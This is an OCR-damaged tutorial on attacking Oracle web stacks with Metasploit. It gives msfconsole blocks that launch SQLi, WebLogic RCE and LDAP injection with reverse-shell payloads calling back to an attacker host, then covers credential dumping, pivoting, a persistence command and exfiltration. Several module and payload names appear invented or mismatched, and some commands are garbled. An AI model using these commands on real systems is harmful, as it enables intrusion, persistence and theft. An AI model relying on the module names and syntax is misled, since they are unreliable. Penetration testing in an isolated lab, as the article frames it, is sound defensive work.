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Attacking Oracle Web Applications with Metasploit: A Comprehensive Guide

Oracle Web Applications—such as Oracle E Business Suite, PeopleSoft, and Oracle Fusion Middleware—are
critical assets for many enterprises. Their widespread use makes them attractive targets for attackers seeking to
gain unauthorized access, exfiltrate sensitive data, or pivot into deeper network segments. Metasploit, the
world class penetration testing framework, offers a rich set of exploits, auxiliary modules, and post exploitation tools
tailored for Oracle environments. This article walks you through the entire attack lifecycle: from reconnaissance to
exploitation, post exploitation, and finally, hardening your Oracle web stack.

1. Understanding Oracle Web Applications

Oracle Web Applications typically run on a multi tier architecture:

¢ Presentation Layer — Web servers such as Apache Tomcat, Oracle HTTP Server, or IBM WebSphere.
» Application Layer — Java EE applications packaged as EAR/WAR files, often using Oracle WebLogic Server.
« Database Layer — Oracle Database instances accessed via JDBC or Oracle Call Interface.

Because these components communicate over HTTP/HTTPS, they expose a variety of attack surfaces:
misconfigured web servers, insecure application logic, and vulnerable database connections. Attackers can exploit
weaknesses at any layer, but the most common entry points are the web interface and the database driver.

2.TheThreat Landscape & Common Vulnerabilities

Enterprise environments are constantly evolving, yet many Oracle deployments still suffer from:

e SQL Injection (SQLi) — Legacy code that concatenates user input into SQL statements.

¢ XML External Entity (XXE) Attacks — Untrusted XML payloads processed by Java XML parsers.
e LDAP Injection — Improperly sanitized LDAP queries.

¢ Remote Code Execution (RCE) — Outdated WebLogic libraries or vulnerable JAR files.

« Privilege Escalation — Default or weak service accounts.

These weaknesses are often catalogued in public vulnerability databases such as National Vulnerability Database
(NVD) and Common Vulnerabilities and Exposures (CVE), providing ready made Metasploit modules.

3.Why Metasploit?

Metasploit offers:

¢ Extensive exploit libraries for Oracle products.

 Built in auxiliary modules for reconnaissance and scanning.

* Powerful post exploitation frameworks for data extraction and persistence.

e Seamless integration with other tools such as Nmap, Burp Suite, and Nessus.

Its modular architecture allows attackers—or security professionals—to craft custom attack chains tailored to
specific Oracle deployments.



4. Setting Up the Environment
Before launching an attack, prepare a controlled lab environment that mimics a production Oracle web stack. This
ensures legality and safety.

1. Virtualization — Use VirtualBox, VMware, or Hyper V to spin up multiple VMs.

2. Operating System — Kali Linux (or Metasploit Pro) as the attacking machine.

3. Target Stack — Deploy Oracle WebLogic Server 12c, Oracle Database 19c, and an example web application
(e.g., Oracle E Business Suite demo).

4. Networking — Isolate the lab network (NAT or host only) to prevent accidental exposure.

5. Backups — Snapshot the VMs before testing.

Once the lab is ready, ensure you have the necessary credentials and that the target is reachable over the network.

5. Reconnaissance Phase

Reconnaissance identifies potential attack vectors and gathers intelligence.

5.1 Network Discovery

Run Nmap with aggressive scripts to detect open ports and services:

nmap -A -p- -sV -0A oracle_scan target_ip

Look for:

e HTTP/HTTPS on ports 80/443 or 7001 (WebLogic).
e Oracle listener on port 1521.
¢ Qutdated Java versions.

5.2 Web Application Fingerprinting

Use Nikto or Wapiti to enumerate application paths:

nikto -h https://target_ip -p 443

Identify login pages, admin consoles, and exposed JAR files.

5.3 Database Enumeration

Metasploit’s auxiliary module auxiliary/scanner/oracle/oracle_version can determine the Oracle DB version:

use auxiliary/scanner/oracle/oracle_version
set RHOSTS target_ip
run

Knowing the exact version is crucial for selecting the correct exploit.

6. Exploitation Techniques

Once potential vulnerabilities are identified, you can leverage Metasploit modules to exploit them.



6.1 SQL Injection

Oracle databases are highly susceptible to SQLi when input is not sanitized. Metasploit provides exploit/multi/http/
oracle_webapp_sql_injection:

use exploit/multi/http/oracle_webapp_sql_injection
set RHOSTS target_ip

set RPORT 443

set URI /app/login.jsp

set USERNAME admin

set PASSWORD password

set PAYLOAD sqlplus/mssql_reverse_tcp

set LHOST attacker_ip

set LPORT 4444

run

This module injects malicious SQL via the login form, spawns a reverse shell, and grants attacker control.

6.2 Remote Code Execution viaWebLogic

Outdated WebLogic servers expose the weblogic.management.remote interface. Metasploit’s exploit/multi/http/
weblogic_rce exploits this:

use exploit/multi/http/weblogic_rce

set RHOSTS target_ip

set RPORT 7001

set TARGETURI /console

set USERNAME weblogic

set PASSWORD password

set PAYLOAD java/meterpreter/reverse_tcp
set LHOST attacker_ip

set LPORT 4444

run

Upon success, you'll receive a Meterpreter session with full control over the WebLogic host.

6.3 LDAP Injection

Some Oracle applications query LDAP directories for authentication. The module exploit/multi/http/
oracle_ldap_injection demonstrates how to manipulate LDAP queries:

use exploit/multi/http/oracle_ldap_injection
set RHOSTS target_ip

set RPORT 443

set URI /app/ldap_login.jsp

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST attacker_ip



set LPORT 4444
run

After injection, you can traverse the directory and extract sensitive attributes.

6.4 XML External Entity (XXE) Attack

Oracle Java applications that parse XML may be vulnerable to XXE. Metasploit's auxiliary/scan/xxe_scan module
can detect and exploit:

use auxiliary/scan/xxe_scan
set RHOSTS target_ip

set RPORT 443

set URI /app/xml_endpoint.jsp
run

Successful XXE can lead to local file disclosure or remote code execution if the application reads local files.

7. Metasploit Modules Specific to Oracle

Below is a curated list of popular Metasploit modules for Oracle attacks:

< exploit/multi/http/oracle_webapp_sql_injection — SQLi via web forms.

e exploit/multi/http/weblogic_rce — RCE on WebLogic servers.

« exploit/multi/http/oracle_ldap_injection — LDAP injection for authentication bypass.

« auxiliary/scanner/oracle/oracle_version — Enumerate Oracle DB versions.

« auxiliary/scanner/oracle/oracle_listener — Detect open Oracle listeners.
 auxiliary/scanner/oracle/oracle_credential_dump — Dump stored credentials from Oracle.
< exploit/multi/handler — Receive reverse shells.

Always check the search command for the latest modules and patch notes.

8. Post Exploitation & Privilege Escalation

After gaining initial foothold, the goal is to expand access and maintain persistence.

8.1 Credential Harvesting

Use Meterpreter's run post/windows/gather/hashdump to capture SAM hashes. For Oracle, the run post/oracle/
dump_credentials module retrieves stored passwords.

8.2 Pivoting Within the Network

Leverage the compromised host as a jump box. Enable port forwarding in Meterpreter:

meterpreter > portfwd add -1 8080 -p 80 -r 10.0.0.5

This forwards local port 8080 to the target's port 80, allowing you to probe internal services.

8.3 Persistence Mechanisms



For Windows hosts, create a scheduled task:

meterpreter > run persistence -X -i 5 -p 4444 -f -| 4444 -r attacker_ip

On Linux, set up a cron job or a systemd service that launches a reverse shell upon boot.

8.4 Data Exfiltration

Use run post/multiimanage/shell_bind_tcp to bind a shell to a high port and then transfer data via upload or
download commands. Alternatively, write a custom script to compress and encode sensitive files before exfiltration.

9. Mitigation & Defense Strategies

Defenders can significantly reduce the attack surface with the following controls:

* Patch Management — Apply Oracle security patches promptly.

 Input Validation — Use parameterized queries and prepared statements.

e Secure Configuration — Disable unused WebLogic services, enforce strong passwords, and limit service
accounts.

e Web Application Firewalls (WAF) — Deploy WAFs that detect SQLIi, XXE, and LDAP injection patterns.

* Network Segmentation — Isolate web servers from database servers behind firewalls.

e Logging & Monitoring — Enable audit trails for database access and web application logs.

e Least Privilege — Grant application accounts only the permissions they need.

Regular penetration testing, preferably with tools like Metasploit, helps validate
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